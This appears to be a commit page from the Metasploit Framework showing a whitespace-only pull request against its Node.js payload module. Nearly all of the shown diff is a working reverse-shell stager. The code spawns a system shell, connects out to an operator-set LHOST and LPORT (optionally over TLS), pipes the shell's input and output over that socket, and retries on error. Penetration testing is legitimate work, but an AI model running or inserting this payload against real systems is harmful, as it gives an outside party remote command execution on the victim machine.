Merge pull request #7 from jmartin-r7/adjust_9077_whitespace

Adjust whitespace per desired style
bug/bundler_fix
Indranil Roy 2017-10-14 10:55:26 +05:30 committed by GitHub
commit b8d0986428
1 changed files with 17 additions and 19 deletions

View File

@ -57,25 +57,23 @@ module Msf::Payload::NodeJS
sh = cp.spawn(cmd, []);
var client = this;
var counter=0;
function StagerRepeat(){
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error", function(error) {
counter++;
if(counter<= #{datastore['StagerRetryCount']}){
setTimeout(function() {
StagerRepeat();
}, #{datastore['StagerRetryWait']}*1000);
} else
process.exit();
function StagerRepeat(){
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error", function(error) {
counter++;
if(counter<= #{datastore['StagerRetryCount']}){
setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
} else
process.exit();
});
}
StagerRepeat();